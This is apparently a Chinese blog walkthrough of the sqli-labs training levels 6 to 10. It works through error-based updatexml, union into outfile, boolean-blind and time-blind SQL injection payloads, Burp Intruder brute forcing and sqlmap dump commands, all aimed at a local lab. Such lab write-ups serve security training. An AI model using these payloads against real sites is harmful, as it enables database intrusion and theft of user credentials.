sqli-labs(6-10)关通关讲解

sqli-labs(6-10)关通关讲解

Less-6

方法一:手工注入

1.判断闭合

http://localhost/sqli-labs/Less-6/?id=1" //报错
http://localhost/sqli-labs/Less-6/?id=1" --+  //正常
http://localhost/sqli-labs/Less-6/?id=1" and 1=1 --+
http://localhost/sqli-labs/Less-6/?id=1" and 1=2 --+

2.因为页面没有回显点而且语句错误会报错,所以我们用报错注入

先查数据库名

http://localhost/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,database()),3)--+

3.再查表名

http://localhost/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security")),3)--+

4.查users表中字段名

http://localhost/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")),3)--+

5.查username,password字段的数据

http://localhost/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,(select group_concat(username,password) from users)),3)--+

这里发现数据并不全,若想查到后面的数据可用限制查询:

http://localhost/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 4,1)),3)--+
#limt 4,1 从4开始查询一位,通过修改起始位置来分别查每行数据

方法二:工具注入

使用sqlmap.py

1.查看所有数据库和当前数据库

python3 sqlmap.py -u "http://localhost/sqli-labs/Less-6/?id=1" --dbs --batch
python3 sqlmap.py -u "http://localhost/sqli-labs/Less-6/?id=1"  --batch --current-db

2.查看security库中表

python3 sqlmap.py -u "http://localhost/sqli-labs/Less-6/?id=1"  --batch -D security --tables

3.c

3.查看users表中数据

python3 sqlmap.py -u "http://localhost/sqli-labs/Less-6/?id=1"  --batch -D security -T users --dump

Less-7

看下题目是用into outfile

1.判断闭合

先尝试'发现页面显示

"页面显示

所以以**'**为主继续尝试闭合

http://localhost/sqli-labs/Less-7/?id=1')  and 1=1--+ //报错
http://localhost/sqli-labs/Less-7/?id=1'))  and 1=1--+ //正常
http://localhost/sqli-labs/Less-7/?id=1'))  and 1=2--+ //报错

所以闭合方式为 ')) --+

2.判断字段数

http://127.0.0.1/sqli-labs/Less-7/?id=1')) order by 3--+ //正常
http://127.0.0.1/sqli-labs/Less-7/?id=1')) order by 4--+ //报错

3.查表

http://127.0.0.1/sqli-labs/Less-7/?id=1')) union select 1,2,database() into outfile   'D:/download/database.txt' --+

4.查表

http://127.0.0.1/sqli-labs/Less-7/?id=1')) union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema="security") into outfile 'D:/download/table.txt' --+

5.查users的列

http://127.0.0.1/sqli-labs/Less-7/?id=1')) union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users") into outfile 'D:/download/column.txt' --+

6.users查数据

http://127.0.0.1/sqli-labs/Less-7/?id=1')) union select 1,2,(select group_concat(id,username,password) from users) into outfile 'D:/download/dump.txt' --+

Less-8

题目是布尔注入-单引号

1.判断闭合

http://localhost/sqli-labs/Less-8/?id=1' and 1=1 --+
http://localhost/sqli-labs/Less-8/?id=1' and 1=2 --+

2.可以看出既没有回显点也没有报错,可通过布尔注入方式进行注入

方法一:

先去猜数据库长度

# 数据库长度判断
1:判断当前数据库的长度,利用二分法
?id=1' and length(database())>5--+   //正常显示
?id=1' and length(database())>8--+   //异常显示
?id=1' and length(database())=8--+   //正常显示
所以可知当前数据库长度为8个字符

知道数据库长度之后,我们可以利用ascii() substr() 函数对数据库名进行截取判断
ascii码是多少,最终得到数据库名"ascii(substr(database(),1,1)) 
ps:substr()截取位置默认从1开始

# 数据库名称判断
2:判断当前数据库的字符,和上面的方法一样,利用二分法依次判断
判断数据库的第一个字符
?id=1' and ascii(substr(database(),1,1))>114--+
?id=1' and ascii(substr(database(),1,1))>116--+
?id=1' and ascii(substr(database(),1,1))=115--+   //ascii码值115对应的字母为s
然后依次判断每个字符,数据库长度为8

最后可以判断出当前数据库为 security

数据库表名、字段名、表数据都可按此方法依次执行

也可以使用BP对其ASCII码进行爆破...

抓取以下数据包并将其发送到Intruder模块下,将截取字符串位置与ASCII码添加攻击向量,并设置攻击模式为集束炸弹(Cluster bomb);进入Payload标签下设置攻击内容如下并开启爆破攻击...

Payload1有效载荷给定截取位置,Payload2有效载荷给定ascii范围

From:字符串截取起始位置,To:字符串截取结束位置

按长度排序找到只有8个一样长度的数据,将ASCII码值转换成字母然后从1到8排序,最后得到 security就是数据库名

查表名

第一步:获取数据库下表的个数

plain 复制代码
# 判断当前数据库中表的个数
//判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表
的个数为4
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3--+
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>4--+
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4--+

第二步:分别注入出各个表名得长度。

plain 复制代码
第一个表:
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6--+
第二个表
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=8--+
第三个表
...

第三步:猜测表名每个字符的ASCII值

​ 抓取以下数据包并将其发送到Intruder模块下,将截取字符串位置与ASCII码添加攻击向量,并设置攻击模式为集束炸弹(Cluster bomb)

plain 复制代码
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a'--+

第一个表:6个字段

通过排序查出第一个表为:emails

第二个表:长度为8

第二个表为:referers

其他表依次判断

由此可判断出存在表 emails、referers、uagents、users ,猜测users表中最有 可能存在账户和密码,所以以下判断字段和数据在 users 表中判断

爆破users字段名

第一步:判断字段数量

plain 复制代码
?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name="users" limit 0,1)=3--+  //3个字段

第二步:判断users各字段长度

plain 复制代码
?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 0,1))=2--+
?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1))=8--+
?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 2,1))=8--+ 

第三步:判断每个字段的字符---BP抓包爆破

plain 复制代码
#判断语句是否之前
?id=1' and substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 0,1),1,1)>'a'--+
#随便等于一个字母然后抓包爆破
?id=1' and substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 0,1),1,1)='a'--+

第一个字段

所以为id

第二个第三个,修改limit从哪开始

或者把limit 0,1中 0也 设置成Payload1也可查出就是比较乱得找。

最终结果为:username,password

爆破字段下的内容

plain 复制代码
第一步:获取字段下内容得数量
?id=1' and (select count(username) from users limit 0,1)=12 --+
获取字段第内容长度
# 猜解字段中数据的长度
//依次判断所有数据
?id=1' and length((select id from users limit 0,1))>5--+
?id=1' and length((select username from users limit 0,1))>3 --+
?id=1' and length((select password from users limit 0,1))>3 --+
#获取第一个字段内容
#猜解字段数据的每个字符ASCII编码的出字符或者直接=字符判断字符
?id=1'and (ascii(substr((select username from users limit 0,1),1,1)))=68--+
?id=1'and (ascii(substr((select password from users limit 0,1),1,1)))=68--+

然后通过Burp爆破获取

小结:一般布尔盲注,手工注入过于繁琐;不建议手注可借助工具如 SQLMAP...

方法二:工具注入

布尔盲注手工注入太过麻烦,最好借助工具sqlmap来注入

方法跟Less-6相同,这里我直接写出最后一步

python3 sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-8/?id=1" --batch -D security -T users --dump

推荐使用工具注入

Less-9

题目提示用时间盲注

1.判断闭合

之前判断方法都无法判断闭合但是可以用sleep()判断
http://127.0.0.1/sqli-labs/Less-9/?id=1' and sleep(5) --+

看见网页延时5s加载完那么闭合成功

2.判断数据库长度

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(length(database())=8,sleep(5),1) --+

3.判断数据库字段

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),1,1))>90,sleep(5),1) --+
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) 
//依次判断每一个

4.其他也是这样判断,太累了,这里就不赘述了。其实跟Less-8差不多,非常类似,都是靠猜。

Less-10

跟Less-9一样,就是闭合不同

http://127.0.0.1/sqli-labs/Less-10/?id=1" and sleep(5)--+ 
相关推荐
高兴就好(石2 小时前
DB-GPT部署和试用
数据库·gpt
这孩子叫逆2 小时前
6. 什么是MySQL的事务?如何在Java中使用Connection接口管理事务?
数据库·mysql
Karoku0662 小时前
【网站架构部署与优化】web服务与http协议
linux·运维·服务器·数据库·http·架构
码农郁郁久居人下3 小时前
Redis的配置与优化
数据库·redis·缓存
MuseLss4 小时前
Mycat搭建分库分表
数据库·mycat
Hsu_kk4 小时前
Redis 主从复制配置教程
数据库·redis·缓存
衍生星球4 小时前
【网络安全】对称密码体制
网络·安全·网络安全·密码学·对称密码
DieSnowK4 小时前
[Redis][环境配置]详细讲解
数据库·redis·分布式·缓存·环境配置·新手向·详细讲解
程序猿小D4 小时前
第二百三十五节 JPA教程 - JPA Lob列示例
java·数据库·windows·oracle·jdk·jpa
Flerken1014 小时前
数据库语言、SQL语言、数据库系统提供的两种语言
数据库·sql·oracle